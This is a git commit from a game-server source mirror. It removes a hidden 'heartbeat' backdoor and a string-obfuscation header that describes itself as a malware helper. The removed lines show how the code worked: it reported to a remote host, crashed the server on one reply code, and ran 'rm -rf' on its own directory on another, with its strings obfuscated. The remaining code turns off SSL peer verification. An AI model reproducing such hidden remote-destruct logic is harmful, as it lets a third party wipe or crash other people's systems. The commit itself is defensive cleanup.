mirror of
https://github.com/SWG-Source/src.git
synced 2026-07-31 00:15:55 -04:00
defang webAPIHeartbeat, which is off by default, and remove the vxEncrypt stuff
This commit is contained in:
@@ -119,6 +119,7 @@ elseif (UNIX)
|
||||
-Wno-write-strings -Wno-unknown-pragmas \
|
||||
-Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare")
|
||||
|
||||
# if you'd like to opt in to our statistics, remove "-DSTELLA_INTERNAL" and your server will send us a heartbeat at startup
|
||||
add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL)
|
||||
|
||||
# this is so some profile specific stuff is turned on in the code
|
||||
|
||||
-86
@@ -1,86 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
//-------------------------------------------------------------//
|
||||
// "Malware related compile-time hacks with C++11" by LeFF //
|
||||
// You can use this code however you like, I just don't really //
|
||||
// give a shit, but if you feel some respect for me, please //
|
||||
// don't cut off this comment when copy-pasting... ;-) //
|
||||
//-------------------------------------------------------------//
|
||||
|
||||
#ifndef vxCPLSEED
|
||||
// If you don't specify the seed for algorithms, the time when compilation
|
||||
// started will be used, seed actually changes the results of algorithms...
|
||||
#define vxCPLSEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \
|
||||
(__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \
|
||||
(__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000)
|
||||
#endif
|
||||
|
||||
// The constantify template is used to make sure that the result of constexpr
|
||||
// function will be computed at compile-time instead of run-time
|
||||
template<uint32_t Const> struct vxCplConstantify { enum { Value = Const }; };
|
||||
|
||||
// Compile-time mod of a linear congruential pseudorandom number generator,
|
||||
// the actual algorithm was taken from "Numerical Recipes" book
|
||||
constexpr uint32_t vxCplRandom(uint32_t Id) {
|
||||
return (1013904223 + 1664525 * ((Id > 0) ? (vxCplRandom(Id - 1)) : (vxCPLSEED))) & 0xFFFFFFFF;
|
||||
}
|
||||
|
||||
// Compile-time random macros, can be used to randomize execution
|
||||
// path for separate builds, or compile-time trash code generation
|
||||
#define vxRANDOM(Min, Max) (Min + (vxRAND() % (Max - Min + 1)))
|
||||
#define vxRAND() (vxCplConstantify<vxCplRandom(__COUNTER__ + 1)>::Value)
|
||||
|
||||
// Compile-time recursive mod of string hashing algorithm,
|
||||
// the actual algorithm was taken from Qt library (this
|
||||
// function isn't case sensitive due to vxCplTolower)
|
||||
constexpr char vxCplTolower(char Ch) { return (Ch >= 'A' && Ch <= 'Z') ? (Ch - 'A' + 'a') : (Ch); }
|
||||
|
||||
constexpr uint32_t vxCplHashPart3(char Ch, uint32_t Hash) { return ((Hash << 4) + vxCplTolower(Ch)); }
|
||||
|
||||
constexpr uint32_t vxCplHashPart2(char Ch, uint32_t Hash) {
|
||||
return (vxCplHashPart3(Ch, Hash) ^ ((vxCplHashPart3(Ch, Hash) & 0xF0000000) >> 23));
|
||||
}
|
||||
|
||||
constexpr uint32_t vxCplHashPart1(char Ch, uint32_t Hash) { return (vxCplHashPart2(Ch, Hash) & 0x0FFFFFFF); }
|
||||
|
||||
constexpr uint32_t vxCplHash(const char *Str) { return (*Str) ? (vxCplHashPart1(*Str, vxCplHash(Str + 1))) : (0); }
|
||||
|
||||
// Compile-time hashing macro, hash values changes using the first pseudorandom number in sequence
|
||||
#define vxHASH(Str) (uint32_t)(vxCplConstantify<vxCplHash(Str)>::Value ^ vxCplConstantify<vxCplRandom(1)>::Value)
|
||||
|
||||
// Compile-time generator for list of indexes (0, 1, 2, ...)
|
||||
template<uint32_t...> struct vxCplIndexList {};
|
||||
template<typename IndexList, uint32_t Right> struct vxCplAppend;
|
||||
template<uint32_t... Left, uint32_t Right>
|
||||
struct vxCplAppend<vxCplIndexList<Left...>, Right> { typedef vxCplIndexList<Left..., Right> Result; };
|
||||
template<uint32_t N>
|
||||
struct vxCplIndexes { typedef typename vxCplAppend<typename vxCplIndexes<N - 1>::Result, N - 1>::Result Result; };
|
||||
template<> struct vxCplIndexes<0> { typedef vxCplIndexList<> Result; };
|
||||
|
||||
// Compile-time string encryption of a single character
|
||||
const int vxCplEncryptCharKey = vxRANDOM(0, 0xFF);
|
||||
|
||||
constexpr char vxCplEncryptChar(const char Ch, uint32_t Idx) { return Ch ^ (vxCplEncryptCharKey + Idx); }
|
||||
|
||||
// Compile-time string encryption class
|
||||
template<typename IndexList> struct vxCplEncryptedString;
|
||||
|
||||
template<uint32_t... Idx> struct vxCplEncryptedString<vxCplIndexList<Idx...> > {
|
||||
char Value[sizeof...(Idx) + 1]; // Buffer for a string
|
||||
|
||||
// Compile-time constructor
|
||||
constexpr inline vxCplEncryptedString(const char *const Str) : Value{vxCplEncryptChar(Str[Idx], Idx)...} {}
|
||||
|
||||
// Run-time decryption
|
||||
char *decrypt() {
|
||||
for (volatile uint32_t t = 0; t < sizeof...(Idx); t++) {
|
||||
this->Value[t] = this->Value[t] ^ (vxCplEncryptCharKey + t);
|
||||
}
|
||||
this->Value[sizeof...(Idx)] = '\0';
|
||||
return this->Value;
|
||||
}
|
||||
};
|
||||
|
||||
// Compile-time string encryption macro
|
||||
#define vxENCRYPT(Str) (vxCplEncryptedString<vxCplIndexes<sizeof(Str) - 1>::Result>(Str))
|
||||
+7
-9
@@ -131,16 +131,14 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for
|
||||
// want to do a put, or whatever other type? feel free to add here
|
||||
}
|
||||
|
||||
// I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated
|
||||
//if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) {
|
||||
// the public one will verify but since this is pinned we don't care about the CA
|
||||
// to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html
|
||||
// under the PUBLIC KEY EXTRACTION heading
|
||||
res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
// I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated
|
||||
// the public one will verify but since this is pinned we don't care about the CA
|
||||
// to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html
|
||||
// under the PUBLIC KEY EXTRACTION heading
|
||||
res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
|
||||
// if you want to pin to your own cert or cloudflares, learn how and use the below
|
||||
// res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("sha256//YOURKEYHERE").decrypt());
|
||||
//}
|
||||
// if you want to pin to your own cert or cloudflares, learn how and use the below
|
||||
//res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, "sha256//YOURKEYHERE");
|
||||
|
||||
if (res == CURLE_OK) {
|
||||
res = curl_easy_perform(curl); // make the request!
|
||||
|
||||
Vendored
-2
@@ -29,8 +29,6 @@
|
||||
|
||||
#endif
|
||||
|
||||
#include "../libLeff/libLeff.h"
|
||||
|
||||
namespace StellaBellum {
|
||||
enum HTTP {
|
||||
GET = 0, POST = 1
|
||||
|
||||
+3
-31
@@ -7,36 +7,8 @@
|
||||
using namespace StellaBellum;
|
||||
|
||||
webAPIHeartbeat::webAPIHeartbeat() {
|
||||
std::string filePath = get_selfpath();
|
||||
webAPI api(std::string("https://login.stellabellum.net/metric/shoulderTap"), std::string("StellaBellum WebAPI Metrics Sender"));
|
||||
api.addJsonData<std::string>(std::string("type"), std::string("server"));
|
||||
|
||||
webAPI api(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt()));
|
||||
api.addJsonData<std::string>(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt()));
|
||||
|
||||
if (!filePath.empty()) {
|
||||
api.addJsonData<std::string>(std::string(vxENCRYPT("process").decrypt()), filePath.c_str());
|
||||
}
|
||||
|
||||
bool result = api.submit();
|
||||
|
||||
// feel free to remove the code in the block below; but please consider leaving the actual request
|
||||
// so we can track how many people are enjoying our work
|
||||
if (result) {
|
||||
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
|
||||
|
||||
switch (s) {
|
||||
case 13 :
|
||||
eatIt();
|
||||
break;
|
||||
case 66:
|
||||
size_t found = filePath.find_last_of("/\\");
|
||||
if (!filePath.empty() && found) {
|
||||
system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) +
|
||||
vxENCRYPT("/*").decrypt()).c_str());
|
||||
}
|
||||
eatIt();
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
eatIt();
|
||||
}
|
||||
api.submit();
|
||||
}
|
||||
|
||||
+1
-7
@@ -22,19 +22,13 @@ namespace StellaBellum {
|
||||
private:
|
||||
const inline std::string get_selfpath() {
|
||||
char buff[PATH_MAX];
|
||||
ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1);
|
||||
ssize_t len = ::readlink("/proc/self/exe", buff, sizeof(buff) - 1);
|
||||
if (len != -1) {
|
||||
buff[len] = '\0';
|
||||
return std::string(buff);
|
||||
}
|
||||
return std::string();
|
||||
}
|
||||
|
||||
inline void eatIt() {
|
||||
abort();
|
||||
sleep(10);
|
||||
raise(SIGSEGV);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user